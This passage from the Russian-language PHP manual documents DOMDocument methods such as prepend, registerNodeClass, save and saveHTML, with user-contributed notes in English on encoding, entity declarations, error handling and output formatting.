Loading from a string works fine without the <?xml version="1.0" encoding="utf-8"?> header, but in this case the xmlEncoding won't be set, and this makes the utf-8 characters (international, and special characters) to be encoded as hexa entities when saved with saveXML()!
remacg 26-Feb-2009 07:33
Instead of doing this:

<?php
$str = <<<XML
<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE root [
<!ENTITY nbsp "&#160;">
]>
<div>This&nbsp;is a non-breaking space.</div>
XML;

$dd2 = new DOMDocument();
$dd2->loadXML($str);

echo $dd2->saveXML();
?>

simply use:

loadHTML() rather than loadXML().
olalonde at NOSPAM dot gmail dot com 21-Mar-2008 05:00
For some reason, when you set DOMDocument's property 'recover' to true, using '@' to mask errors thrown by loadXml() won't work.

Here's my workaround:

function maskErrors() {}
set_error_handler('maskErrors');
$dom->loadXml($xml);
restore_error_handler();

You could also simply do this: error_reporting(0); and then set back error_reporting to its original state.
Stuart Grimshaw 26-Jun-2007 01:57
Possible values for the options parameter can be found here:

http://us3.php.net/manual/en/ref.libxml.php#libxml.constants
Marc Liyanage 18-Jun-2007 07:08
The documentation states that loadXML can be called statically, but this is misleading. This feature seems to be a special case hack and its use seems to be discouraged according to http://bugs.php.net/bug.php?id=41398.

Calling the method statically will fail with an error if the code runs with E_STRICT error reporting enabled.

The documentation should be changed to make it clear that a static call is against recommended practice and won't work with E_STRICT.
jazzslider at hotmail dot com 30-Apr-2007 01:14
When using loadXML() to parse a string that contains entity references (e.g., &nbsp;), be sure that those entity references are properly declared through the use of a DOCTYPE declaration; otherwise, loadXML() will not be able to interpret the string.

Example:
<?php
$str = <<<XML
<?xml version="1.0" encoding="iso-8859-1"?>
<div>This&nbsp;is a non-breaking space.</div>
XML;

$dd1 = new DOMDocument();
$dd1->loadXML($str);

echo $dd1->saveXML();
?>

Given the above code, PHP will issue a Warning about the entity 'nbsp' not being properly declared.  Also, the call to saveXML() will return nothing but a trimmed-down version of the original processing instruction...everything else is gone, and all because of the undeclared entity.

Instead, explicitly declare the entity first:
<?php
$str = <<<XML
<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE root [
<!ENTITY nbsp "&#160;">
]>
<div>This&nbsp;is a non-breaking space.</div>
XML;

$dd2 = new DOMDocument();
$dd2->loadXML($str);

echo $dd2->saveXML();
?>

Since the 'nbsp' entity is defined in the DOCTYPE, PHP no longer issues that Warning; the string is now well-formed, and loadXML() understands it perfectly.

You can also use references to external DTDs in the same way (e.g., <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
"http://www.w3.org/TR/html4/strict.dtd">), which is particularly important if you need to do this for many different documents with many different possible entities.

Also, as a sidenote...entity references created by createEntityReference() do not need this kind of explicit declaration.
shaoyu73 at gmail dot com 15-Mar-2007 08:53
earth at anonymous dot com,

preserveWhiteSpace property needs to be set to false for formatOutput to work properly, for some reason.

$dom = new DOMDocument;
$dom->preserveWhiteSpace = false;
$dom->loadXML($xmlStr);
...
$element->appendChild(...);
...
$dom->formatOutput = true;
$xmlStr = $dom->saveXML();
echo $xmlStr;

This would format the output nicely.
Gavin Sinai gsinai at gmx dot net 30-Aug-2006 07:34
loadXml reports an error instead of throwing an exception when the xml is not well formed. This is annoying if you are trying to to loadXml() in a try...catch statement. Apparently its a feature, not a bug, because this conforms to a spefication.

If you want to catch an exception instead of generating a report, you could do something like

<?php
function HandleXmlError($errno, $errstr, $errfile, $errline)
{
    if ($errno==E_WARNING && (substr_count($errstr,"DOMDocument::loadXML()")>0))
    {
        throw new DOMException($errstr);
    }
    else
        return false;
}

function XmlLoader($strXml)
{
    set_error_handler('HandleXmlError');
    $dom = new DOMDocument();
    $dom->loadXml($strXml);
    restore_error_handler();
    return $dom;
 }

?>

Returning false in function HandleXmlError() causes a fallback to the default error handler.
mp at webfactory dot de 08-Aug-2006 08:26
While loadXML() expects its input to have a leading XML processing instruction to deduce the encoding used, there's no such concept in (non-XML) HTML documents. Thus, the libxml library underlying the DOM functions peeks at the <META> tags to figure out the encoding used.

See http://xmlsoft.org/encoding.html.
earth at anonymous dot com 12-Apr-2006 02:28
Note that loadXML crops off beginning and trailing whitespace and linebreaks.

When using loadXML and appendChild to add a chunk of XML to an existing document, you may want to force a linebreak between the end of the XML chunk and the next line (usually a close tag) in the output file:

$childDocument = new DOMDocument;
$childDocument>preserveWhiteSpace = true;
$childDocument->loadXML(..XML-Chunk..);
$mNewNode = $mainDOcument->importNode($childDocument->documentElement, true);
$ParentNode->appendChild($mNewNode);
$ParentNode->appendChild($mainDocument->createTextNode("\\n  ");

Although it is said that DOM should not be used to make 'pretty' XML output, it is something I struggled with to get something that was readable for testing.  Another solution is to use the createDocumentFragment()->appendXML(..XML-Chunk..) instead, which seems not to trim off linebreaks like DOMDocument->loadXML() does.


Нормализует документ

  • « DOMDocument::loadXML
  • DOMDocument::prepend »
  • PHP Manual
  • DOMDocument
  • Нормализует документ

DOMDocument::normalizeDocument

(PHP 5, PHP 7, PHP 8)

DOMDocument::normalizeDocument — Нормализует документ

Описание

public DOMDocument::normalizeDocument(): void

Этот метод работает так, как если бы документ сохранили, а затем загрузили, — приводит документ к «нормальной» форме.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • » Спецификация DOM
  • DOMNode::normalize() - Нормализует узел

User Contributed Notes

lingasamy dot sakthivel at gmail dot com 16-Apr-2015 05:44
You can use this in this way.

$doc = new DOMDocument('1.0', 'UTF-8');
$doc->loadHTML($content); // html content
$xpath = new DOMXPath($doc);
$doc->normalizeDocument();

Note that, you can use $doc->normalizeDocument(); at any point of time.


Добавляет узлы перед первым дочерним узлом

  • « DOMDocument::normalizeDocument
  • DOMDocument::registerNodeClass »
  • PHP Manual
  • DOMDocument
  • Добавляет узлы перед первым дочерним узлом

DOMDocument::prepend

(PHP 8)

DOMDocument::prepend — Добавляет узлы перед первым дочерним узлом

Описание

public DOMDocument::prepend(DOMNode|string ...$nodes): void

Добавляет один или несколько узлов nodes в список дочерних узлов перед первым дочерним узлом.

Список параметров

nodes

Узлы, которые необходимо добавить. Строки автоматически преобразуются в текстовые узлы.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

DOM_HIERARCHY_REQUEST_ERR

Возникает, если тип одного из переданных в параметре nodes элементов не допускается в типе узла, или если добавляемый узел является одним из предков этого узла или самим этим узлом.

DOM_WRONG_DOCUMENT_ERR

Возникает, если один из переданных в параметре nodes элементов был создан из документа, отличного от того, в котором был создан этот узел.

Список изменений

Версия | Описание
8.3.0 | Вызов этого метода на узле без документа владельца теперь работает. Ранее это выбрасывало исключение DOMException с кодом DOM_HIERARCHY_REQUEST_ERR.

Примеры

Пример #1 Пример использования метода DOMDocument::prepend()

Добавление узлов перед корнем документа.

<?php
$doc = new DOMDocument;
$doc->loadXML("<world/>");

$doc->prepend($doc->createElement("hello"), "beautiful");

echo $doc->saveXML();
?>

Результат выполнения приведённого примера:

<?xml version="1.0"?>
<hello/>
beautiful
<world/>

Смотрите также

  • DOMParentNode::prepend() - Добавляет узлы перед первым дочерним узлом
  • DOMDocument::append() - Добавляет узлы после последнего дочернего узла

User Contributed Notes

There are no user contributed notes for this page.


Регистрация расширенного класса, используемого для создания типа базового узла

  • « DOMDocument::prepend
  • DOMDocument::relaxNGValidate »
  • PHP Manual
  • DOMDocument
  • Регистрация расширенного класса, используемого для создания типа базового узла

DOMDocument::registerNodeClass

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

DOMDocument::registerNodeClass — Регистрация расширенного класса, используемого для создания типа базового узла

Описание

public DOMDocument::registerNodeClass(string $baseClass, ?string $extendedClass): bool

Этот метод позволяет зарегистрировать свой собственный расширенный класс DOM, который будет использоваться впоследствии модулем PHP DOM.

Этот метод не является частью стандарта DOM.

Предостережение

Конструктор объектов зарегистрированных классов узлов не вызывается.

Список параметров

baseClass

Класс DOM, который вы хотите расширить. Список таких классов можно увидеть во введении.

extendedClass

Имя расширенного класса. Если передать null, будут удалены все ранее зарегистрированные классы, расширяющие базовый класс baseClass.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Примеры

Пример #1 Добавление нового метода в класс DOMElement для упрощения кода

<?php

class myElement extends DOMElement {
function appendElement($name) {
return $this->appendChild(new myElement($name));
}
}

class myDocument extends DOMDocument {
function setRoot($name) {
return $this->appendChild(new myElement($name));
}
}

$doc = new myDocument();
$doc->registerNodeClass('DOMElement', 'myElement');

// С этих пор добавление одного элемента к другому
// требует всего одного вызова метода!
$root = $doc->setRoot('root');
$child = $root->appendElement('child');
$child->setAttribute('foo', 'bar');

echo $doc->saveXML();

?>

Результат выполнения приведённого примера:

<?xml version="1.0"?>
<root><child foo="bar"/></root>

Пример #2 Получение элементов в виде пользовательского класса

<?php
class myElement extends DOMElement {
public function __toString() {
return $this->nodeValue;
}
}

$doc = new DOMDocument;
$doc->loadXML("<root><element><child>text in child</child></element></root>");
$doc->registerNodeClass("DOMElement", "myElement");

$element = $doc->getElementsByTagName("child")->item(0);
var_dump(get_class($element));

// Воспользуемся __toString методом..
echo $element;
?>

Результат выполнения приведённого примера:

string(9) "myElement"
text in child

Пример #3 Получение имени документа владельца

Когда создаётся экземпляр расширенного класса DOMDocument, свойство ownerDocument будет ссылаться на создаваемый объект. Однако если удалить все ссылки на этот класс, он будет уничтожен, а вместо него будет создан новый объект DOMDocument. По этой причине вы можете использовать функцию DOMDocument::registerNodeClass() применительно к объекту DOMDocument.

<?php
class MyDOMDocument extends DOMDocument {
}

class MyOtherDOMDocument extends DOMDocument {
}

// Создаём MyDOMDocument с некоторым XML-содержимым
$doc = new MyDOMDocument;
$doc->loadXML("<root><element><child>text in child</child></element></root>");

$child = $doc->getElementsByTagName("child")->item(0);

// Текущий владелец узла - MyDOMDocument
var_dump(get_class($child->ownerDocument));

// Уничтожаем MyDOMDocument
unset($doc);

// И создаём новый экземпляр DOMDocument
var_dump(get_class($child->ownerDocument));

// Импортируем узел из MyDOMDocument
$newdoc = new MyOtherDOMDocument;
$child = $newdoc->importNode($child);

// Регистрируем пользовательский DOMDocument
$newdoc->registerNodeClass("DOMDocument", "MyOtherDOMDocument");

var_dump(get_class($child->ownerDocument));
unset($doc);

// Новый владелец узла изменился на MyOtherDOMDocument
var_dump(get_class($child->ownerDocument));
?>

Результат выполнения приведённого примера:

string(13) "MyDOMDocument"
string(11) "DOMDocument"
string(18) "MyOtherDOMDocument"
string(18) "MyOtherDOMDocument"

Пример #4 Пользовательские объекты временны

Предостережение

Объекты зарегистрированных классов узлов являются временными, т.е. они уничтожаются, когда на них больше не ссылаются из кода PHP и воссоздаются при повторном извлечении. Это означает, что значения настраиваемых свойств будут потеряны после восстановления.

<?php
class MyDOMElement extends DOMElement
{
public $myProp = 'значение по умолчанию';
}

$doc = new DOMDocument();
$doc->registerNodeClass('DOMElement', 'MyDOMElement');

$node = $doc->createElement('a');
$node->myProp = 'изменённое значение';
$doc->appendChild($node);

echo $doc->childNodes[0]->myProp, PHP_EOL;
unset($node);
echo $doc->childNodes[0]->myProp, PHP_EOL;
?>

Результат выполнения приведённого примера:

изменённое значение
значение по умолчанию

User Contributed Notes

crh3675 at gmail dot com 25-Sep-2009 08:23
Creating innerHTML and outerHTML

<?php

class DOMHTMLElement extends DOMElement
{
    function __construct() { parent::__construct();}

    public function innerHTML()
    {
        $doc = new DOMDocument();
      foreach ($this->childNodes as $child){
          $doc->appendChild($doc->importNode($child, true));
        }
        $content = $doc->saveHTML();
        return $content;
    }

    public function outerHTML()
    {
        $doc = new DOMDocument();
        $doc->appendChild($doc->importNode($this, true));
        $content = $doc->saveHTML();
        return $content;
    }
}

$dom = DOMDocument::loadHTMLFile($file);
$dom->registerNodeClass('DOMElement','DOMHTMLElement');

if($dom)
{
    $xpath = new DOMXpath($dom);
    $regions = $xpath->query("//*[contains(@class, 'editable')]");
    $content = '';

    foreach($regions as $region){
        $content .= $region->outerHTML();
    }

    return $content;

}else{
    throw new Exception('Cannot parse HTML.  Please verify the syntax is correct.');
}
?>
arnold at adaniels dot nl 22-Jul-2009 03:10
Note than save and saveXML are not affected by __toString().


Производит проверку документа на правильность построения посредством relaxNG

  • « DOMDocument::registerNodeClass
  • DOMDocument::relaxNGValidateSource »
  • PHP Manual
  • DOMDocument
  • Производит проверку документа на правильность построения посредством relaxNG

DOMDocument::relaxNGValidate

(PHP 5, PHP 7, PHP 8)

DOMDocument::relaxNGValidate — Производит проверку документа на правильность построения посредством relaxNG

Описание

public DOMDocument::relaxNGValidate(string $filename): bool

Производит » relaxNG проверку документа, основываясь на заданной схеме RNG.

Список параметров

filename

Файл RNG.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Смотрите также

  • DOMDocument::relaxNGValidateSource() - Проверяет документ посредством relaxNG
  • DOMDocument::schemaValidate() - Проверяет действительность документа, основываясь на заданной схеме. Поддерживается только XML-схема 1.0.
  • DOMDocument::schemaValidateSource() - Проверяет действительность документа, основываясь на схеме
  • DOMDocument::validate() - Проверяет документ на соответствие его DTD

User Contributed Notes

scarywound at gmail dot com 17-Oct-2012 11:39
Keep in mind that this method can't handle schemas in compact syntax!


Проверяет документ посредством relaxNG

  • « DOMDocument::relaxNGValidate
  • DOMDocument::replaceChildren »
  • PHP Manual
  • DOMDocument
  • Проверяет документ посредством relaxNG

DOMDocument::relaxNGValidateSource

(PHP 5, PHP 7, PHP 8)

DOMDocument::relaxNGValidateSource — Проверяет документ посредством relaxNG

Описание

public DOMDocument::relaxNGValidateSource(string $source): bool

Применяет проверку » relaxNG документа на соответствие заданному источнику RNG.

Список параметров

source

Строка содержащая RNG-схему.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Смотрите также

  • DOMDocument::relaxNGValidate() - Производит проверку документа на правильность построения посредством relaxNG
  • DOMDocument::schemaValidate() - Проверяет действительность документа, основываясь на заданной схеме. Поддерживается только XML-схема 1.0.
  • DOMDocument::schemaValidateSource() - Проверяет действительность документа, основываясь на схеме
  • DOMDocument::validate() - Проверяет документ на соответствие его DTD

User Contributed Notes

There are no user contributed notes for this page.


Заменяет дочерние узлы в документе

  • « DOMDocument::relaxNGValidateSource
  • DOMDocument::save »
  • PHP Manual
  • DOMDocument
  • Заменяет дочерние узлы в документе

DOMDocument::replaceChildren

(PHP 8 >= 8.3.0)

DOMDocument::replaceChildren — Заменяет дочерние узлы в документе

Описание

public DOMDocument::replaceChildren(DOMNode|string ...$nodes): void

Заменяет дочерние узлы в документе новыми узлами nodes.

Список параметров

nodes

Узлы, которыми будут заменены потомки. Строки автоматически преобразовываются в текстовые узлы.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

DOM_HIERARCHY_REQUEST_ERR

Возникает, если тип одного из переданных в параметре nodes элементов не допускается в типе узла, или если добавляемый узел является одним из предков этого узла или самим этим узлом.

DOM_WRONG_DOCUMENT_ERR

Возникает, если один из переданных в параметре nodes элементов был создан из документа, отличного от того, в котором был создан этот узел.

Список изменений

Версия | Описание
8.3.0 | Вызов метода на узле без документа владельца теперь работает. Ранее это выбрасывало исключение DOMException с кодом DOM_HIERARCHY_REQUEST_ERR.

Примеры

Пример #1 Пример использования метода DOMDocument::replaceChildren()

Замена дочерних узлов в документе новыми узлами.

<?php
$doc = new DOMDocument;
$doc->loadXML("<container><hello/></container>");

$doc->replaceWith("beautiful", $doc->createElement("world"));

echo $doc->saveXML();
?>

Результат выполнения приведённого примера:

<?xml version="1.0"?>
beautiful
<world/>

Смотрите также

  • DOMParentNode::replaceChildren() - Заменяет потомков в узле
  • DOMDocument::append() - Добавляет узлы после последнего дочернего узла
  • DOMDocument::prepend() - Добавляет узлы перед первым дочерним узлом

User Contributed Notes

There are no user contributed notes for this page.


Сохраняет XML-дерево из внутреннего представления в файл

  • « DOMDocument::replaceChildren
  • DOMDocument::saveHTML »
  • PHP Manual
  • DOMDocument
  • Сохраняет XML-дерево из внутреннего представления в файл

DOMDocument::save

(PHP 5, PHP 7, PHP 8)

DOMDocument::save — Сохраняет XML-дерево из внутреннего представления в файл

Описание

public DOMDocument::save(string $filename, int $options = 0): int|false

Создаёт XML-документ из представления DOM. Эту функцию обычно вызывают после построения нового DOM-документа, как показано в примере ниже.

Список параметров

filename

Путь к файлу, в который будет сохранён XML-документ.

options

Дополнительные настройки. На данный момент поддерживается только LIBXML_NOEMPTYTAG.

Возвращаемые значения

Возвращает количество записанных байт или false в случае возникновения ошибки.

Примеры

Пример #1 Сохранение DOM-дерева в файл

<?php

$doc = new DOMDocument('1.0');
// мы хотим красивый вывод
$doc->formatOutput = true;

$root = $doc->createElement('book');
$root = $doc->appendChild($root);

$title = $doc->createElement('title');
$title = $root->appendChild($title);

$text = $doc->createTextNode('This is the title');
$text = $title->appendChild($text);

echo 'Записано: ' . $doc->save("/tmp/test.xml") . ' байт'; // Записано: 72 байт

?>

Смотрите также

  • DOMDocument::saveXML() - Сохраняет XML-дерево из внутреннего представления в виде строки
  • DOMDocument::load() - Загрузка XML из файла
  • DOMDocument::loadXML() - Загрузка XML из строки

User Contributed Notes

dubois-holvoet dot patrick at neuf dot fr 25-Feb-2016 08:13
I just intend to bring my little contribution to the use of DOMDocument::save() function along with PHP serialize() function.

Sometimes you could have to serialize a PHP object before you put it into a XML structure (or other..). And then I suppose you could have to save this XML structure in a file. Of course, you will further need to read this file and unserialize it before to use its content.

The problem appears when there are some properties described as Protected in the object to be serialized.

As it's written in the PHP documentation, serialize function add for those protected properties an asterisk before the name of the property along with a NULL character on each side of the asterisk.
In this case, the DOMDocument::save function will stop the save operation just before the first NULL character met in the string to be saved, because PHP consider it as a potential risk.
So, after that, the unserialize operation of the file become impossible.

To solve that, here is a first solution to apply :

For the serialize , before the DOMDocument::save() ::
$data_serial = explode("\x00\x2A\x00", serialize($object));  //take off the 'NULL * NULL' string
$data_serial = implode("\x5C\x30\x2A\x5C\x30", $data_serial);    //and replace with '\0*\0' string

Before the unserialize :
$data_serial = explode("\x5C\x30\x2A\x5C\x30", $serialized_object);    // take off the '\0*\0' string
$serial_object = implode("\x00\x2A\x00", $data_serial);      // and replace with 'NULL * NULL' string as included by the previous serialize

And a second solution :

For the serialize, before the DOMDocument::save() :
$serialized_object = addslashes(serialize($object)) ;

Before re-using the object in your application :
$object = unserialize(stripslashes($serialized_object)) ;

Hope this will help some.
ludvig at ergopedia dot no 31-Oct-2014 10:21
When creating a DOMDocument from scratch and saving it, the encoding will be utf-8, although it's declared as iso-8859-1.

When loading an XML-file declared and saved as iso-8859-1, php will keep the correct encoding when it's saved after changes are made.

Php converts files declared as iso-8859-1 to utf-8 internally. To add text containing special characters, the text must be encoded as utf-8. When the document is saved, special characters are converted to iso-8859-1.

To save an xml created from scratch, use fopen/fwrite and utf8_decode:

   $doc = new DOMDocument('1.0', 'iso-8859-1');

//Add som nodes and text with apropriate methods

   $f = fopen('xmlfile.xml', 'w+');
   fwrite($f, utf8_decode($doc->saveXML()));
   fclose($f);
john at johnreid dot it 06-Aug-2013 09:42
I had been hitting my head against the wall when I couldn't get an edited XML file to save due to file permissions, even though I knew that it was OK.

Eventually I realised that for some odd reason, when I went to save the XML file, it would try to write the file to the root directory.

As such, use realpath() to keep the complete system path to the XML file when you load it:

<?php
$myfile = 'myxml.xml';
$myfile = realpath($myfile);
$doc = new DOMDocument('1.0');
$doc->load($myfile);

// Let's just add a couple of elements for good measure
$root = $doc->documentElement;

$title = $doc->createElement('title');
$title = $root->appendChild($title);

$text = $doc->createTextNode('This is a title');
$text = $title->appendChild($text);

$doc->save($myfile);
?>
ss at littlerain dot com 01-Feb-2009 12:05
In addition to:
DOMDocument->formatOutput = true
DOMDocument->preserveWhiteSpace = false

...you also have to ensure you don't add text nodes as siblings of element nodes, or formatOutput won't work.
chenel324 at gmail dot com 19-Oct-2008 06:38
It took me forever to discover that
DOMDocument->formatOutput = true
will only have an effect on documents that are loaded from disk if one also sets
DOMDocument->preserveWhiteSpace = false ....

Hope this saves somebody a headache.
siegparr at NOSPAM dot web dot de 07-Jul-2006 08:00
The XML parser converts the text of an XML document into UTF-8, even if you have set the character encoding of the XML, for example as a second parameter of the DOMDocument constructor. After parsing the XML with the load() command all its texts have been converted to UTF-8.

In case you append text nodes with special characters (e. g. Umlaut) to your XML document you should therefore use utf8_encode() with your text to convert it into UTF-8 before you append the text to the document. Otherwise you will get an error message like "output conversion failed due to conv error" at the save() command. See example below:

<?php
// Text to insert into XML below
$txt = "a text with special characters like 'a', '?', 'U' etc.";

// Create Instance of DOMDocument
$dom =  new DOMDocument;
// Load XML file
// Was created before with DOMDocument('1.0', 'iso-8859-1')
$dom = $dom->load("file.xml");
// Find the parent node
$parent = $dom->documentElement;
// Create Instance of DomXPath
$xpath = new DomXPath($dom);
// new node will be inserted before this node
$next = $xpath->query("//parentnode/childnode");
// Create the new element
$new_elem = $dom->createElement('new_elem');
// Insert the new element
$parent->insertBefore($new_elem, $next->item(0));
// DOMXML = utf-8! (will be converted to iso-8859-1 only at 'save()')
// prevents error message "output conversion failed due to conv error" at 'save()'
$txt = utf8_encode($txt);
// Create new text node with utf-8 encoded string
$nodetext = $dom->createTextNode("$txt");
// Append text node to new element
$nodetext = $new_elem->appendChild($nodetext);
// save
$dom->save("file.xml");
?>

Hope this helps someone.

siegparr


Сохраняет документ из внутреннего представления в строку, используя форматирование HTML

  • « DOMDocument::save
  • DOMDocument::saveHTMLFile »
  • PHP Manual
  • DOMDocument
  • Сохраняет документ из внутреннего представления в строку, используя форматирование HTML

DOMDocument::saveHTML

(PHP 5, PHP 7, PHP 8)

DOMDocument::saveHTML — Сохраняет документ из внутреннего представления в строку, используя форматирование HTML

Описание

public DOMDocument::saveHTML(?DOMNode $node = null): string|false

Создаёт HTML-документ из представления DOM. Эту функцию обычно вызывают после построения нового DOM-документа, как показано в примере ниже.

Список параметров

node

Необязательный аргумент для вывода подмножества документа.

Возвращаемые значения

Возвращает HTML или false в случае возникновения ошибки.

Примеры

Пример #1 Сохранение HTML-дерева в виде строки

<?php

$doc = new DOMDocument('1.0');

$root = $doc->createElement('html');
$root = $doc->appendChild($root);

$head = $doc->createElement('head');
$head = $root->appendChild($head);

$title = $doc->createElement('title');
$title = $head->appendChild($title);

$text = $doc->createTextNode('Это заголовок');
$text = $title->appendChild($text);

echo $doc->saveHTML();

?>

Смотрите также

  • DOMDocument::saveHTMLFile() - Сохраняет документ из внутреннего представления в файл, используя форматирование HTML
  • DOMDocument::loadHTML() - Загрузка HTML из строки
  • DOMDocument::loadHTMLFile() - Загрузка HTML из файла

User Contributed Notes

jeboy 28-Sep-2017 02:57
LIBXML_HTML_NOIMPLIED doesn't work on PHP 7.1.9 with libxml2-2.7.8
sasha @ goldnet dot ca 27-Jul-2017 04:21
When saving HTML fragment initiated with LIBXML_HTML_NOIMPLIED option, it will end up being "broken" as libxml requires root element. libxml will attempt to fix the fragment by adding closing tag at the end of string based on the first opened tag it encounters in the fragment.

For an example:

<h1>Foo</h1><p>bar</p>

will end up as:

<h1>Foo<p>bar</p></h1>

Easiest workaround is adding root tag yourself and stripping it later:

$html->loadHTML('<html>' . $content .'</html>', LIBXML_HTML_NOIMPLIED | LIBXML_HTML_NODEFDTD);

$content = str_replace(array('<html>','</html>') , '' , $html->saveHTML());
contact at cathexis dot de 31-Aug-2016 10:41
If you load HTML from a string ensure the charset is set.

<?php
...
$html_src = '<html><head><meta content="text/html; CHARSET=Windows-1251" http-equiv="Content-Type"></head><body>';
$html_src .= '...';
...
?>

Otherwise the charset will be ISO-8859-1!
tomas dot strejcek at ghn dot cz 20-Aug-2016 12:34
As of PHP 5.4 and Libxml 2.6, there is currently simpler approach:

when you load html as this

$html->loadHTML($content, LIBXML_HTML_NOIMPLIED | LIBXML_HTML_NODEFDTD);

in the output, there will be no doctype, html or body tags
Anonymous 11-Dec-2015 03:38
To solve the script tag problem just add an empty text node to the script node and DOMDocument will render <script src="your.js"></script> nicely.
qrworld.net 11-Nov-2014 04:34
In this post http://softontherocks.blogspot.com/2014/11/descargar-el-contenido-de-una-url_11.html I found a simple way to get the content of a URL with DOMDocument, loadHTMLFile and saveHTML().

function getURLContent($url){
    $doc = new DOMDocument;
    $doc->preserveWhiteSpace = FALSE;
    @$doc->loadHTMLFile($url);
    return $doc->saveHTML();
}
Anonymous 09-Feb-2010 07:52
If you want a simpler way to get around the <script> tag problem try:

<?php

  $script = $doc->createElement ('script');\
  // Creating an empty text node forces <script></script>
  $script->appendChild ($doc->createTextNode (''));
  $head->appendChild ($script);

?>
Anonymous 12-May-2009 07:35
To avoid script tags from being output as <script />, you can use the DOMDocumentFragment class:

<?php

$doc = new DOMDocument();
$doc -> loadXML($xmlstring);
$fragment = $doc->createDocumentFragment();
/* Append the script element to the fragment using raw XML strings (will be preserved in their raw form) and if succesful proceed to insert it in the DOM tree */
if($fragment->appendXML("<script type='text/javascript' src='$source'></script>") {
  $xpath = new DOMXpath($doc);
  $resultlist = $xpath->query("//*[local-name() = 'html']/*[local-name() = 'head']"); /* namespace-safe method to find all head elements which are childs of the html element, should only return 1 match */
  foreach($resultlist as $headnode)  // insert the script tag
     $headnode->appendChild($fragment);
}
$doc->saveXML(); /* and our script tags will still be <script></script> */

?>
Anonymous 25-Apr-2008 08:15
<?php
function getDOMString($retNode) {
  if (!$retNode) return null;
  $retval = strtr($retNode-->ownerDocument->saveXML($retNode),
  array(
    '></area>' => ' />',
    '></base>' => ' />',
    '></basefont>' => ' />',
    '></br>' => ' />',
    '></col>' => ' />',
    '></frame>' => ' />',
    '></hr>' => ' />',
    '></img>' => ' />',
    '></input>' => ' />',
    '></isindex>' => ' />',
    '></link>' => ' />',
    '></meta>' => ' />',
    '></param>' => ' />',
    'default:' => '',
    // sometimes, you have to decode entities too...
    '&quot;' => '&#34;',
    '&amp;' =>  '&#38;',
    '&apos;' => '&#39;',
    '&lt;' =>   '&#60;',
    '&gt;' =>   '&#62;',
    '&nbsp;' => '&#160;',
    '&copy;' => '&#169;',
    '&laquo;' => '&#171;',
    '&reg;' =>   '&#174;',
    '&raquo;' => '&#187;',
    '&trade;' => '&#8482;'
  ));
  return $retval;
}
?>
archanglmr at yahoo dot com 27-Nov-2007 03:28
If created your DOMDocument object using loadHTML() (where the source is from another site) and want to pass your changes back to the browser you should make sure the HTTP Content-Type header matches your meta content-type tags value because modern browsers seem to ignore the meta tag and trust just the HTTP header. For example if you're reading an ISO-8859-1 document and your web server is claiming UTF-8 you need to correct it using the header() function.

<?php
header('Content-Type: text/html; charset=iso-8859-1');
?>
xoplqox 20-Nov-2007 11:07
XHTML:

If the output is XHTML use the function saveXML().

Output example for saveHTML:

<select name="pet" size="3" multiple>
    <option selected>mouse</option>
    <option>bird</option>
    <option>cat</option>
</select>

XHTML conform output using saveXML:

<select name="pet" size="3" multiple="multiple">
    <option selected="selected">mouse</option>
    <option>bird</option>
    <option>cat</option>
</select>
tyson at clugg dot net 21-Apr-2005 05:44
<?php
// Using DOM to fix sloppy HTML.
// An example by Tyson Clugg <tyson@clugg.net>
//
// vim: syntax=php expandtab tabstop=2

function tidyHTML($buffer)
{
  // load our document into a DOM object
  $dom = @DOMDocument::loadHTML($buffer);
  // we want nice output
  $dom->formatOutput = true;
  return($dom->saveHTML());
}

// start output buffering, using our nice
// callback funtion to format the output.
ob_start("tidyHTML");

?>
<html>
<p>It's like comparing apples to oranges.
</html>
<?php

// this will be called implicitly, but we'll
// call it manually to illustrate the point.
ob_end_flush();

?>

The above code takes out sloppy HTML:
 <html>
 <p>It's like comparing apples to oranges.
 </html>

And cleans it up to the following:
 <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
 <html><body><p>It's like comparing apples to oranges.
 </p></body></html>


Сохраняет документ из внутреннего представления в файл, используя форматирование HTML

  • « DOMDocument::saveHTML
  • DOMDocument::saveXML »
  • PHP Manual
  • DOMDocument
  • Сохраняет документ из внутреннего представления в файл, используя форматирование HTML

DOMDocument::saveHTMLFile

(PHP 5, PHP 7, PHP 8)

DOMDocument::saveHTMLFile — Сохраняет документ из внутреннего представления в файл, используя форматирование HTML

Описание

public DOMDocument::saveHTMLFile(string $filename): int|false

Создаёт HTML-документ из DOM-представления. Эту функцию обычно вызывают после построения нового DOM-документа, как показано в примере ниже.

Список параметров

filename

Путь к файлу, в который сохранится HTML-документ.

Возвращаемые значения

Возвращает количество записанных байт или false в случае возникновения ошибки.

Примеры

Пример #1 Сохранение HTML-дерева в файл

<?php

$doc = new DOMDocument('1.0');
// мы хотим красивый вывод
$doc->formatOutput = true;

$root = $doc->createElement('html');
$root = $doc->appendChild($root);

$head = $doc->createElement('head');
$head = $root->appendChild($head);

$title = $doc->createElement('title');
$title = $head->appendChild($title);

$text = $doc->createTextNode('Это заголовок');
$text = $title->appendChild($text);

echo 'Записано: ' . $doc->saveHTMLFile("/tmp/test.html") . ' байт'; // Записано: 129 байт

?>

Смотрите также

  • DOMDocument::saveHTML() - Сохраняет документ из внутреннего представления в строку, используя форматирование HTML
  • DOMDocument::loadHTML() - Загрузка HTML из строки
  • DOMDocument::loadHTMLFile() - Загрузка HTML из файла

User Contributed Notes

RiKdnUA at mail dot ru 27-Jul-2013 04:15
saveHTMLFile() always saves the file in UTF-8. Even if the DOMDocument->encoding explicitly prescribe different from UTF-8 encoding. All "non-Latin" characters will be converted to HTML-entities. Tested in PHP 5.2.9-2 and PHP 5.2.17. Example:

<?php
$document=new domDocument('1.0', 'WINDOWS-1251');
$document->loadHTML('<html><head><title>Russian language</title></head><body>Русский язык</body></html>');
$document->formatOutput=true;
$document->encoding='WINDOWS-1251';
echo "Записано байт. Recorded bytes: ".$document->saveHTMLFile('html.html');
?>

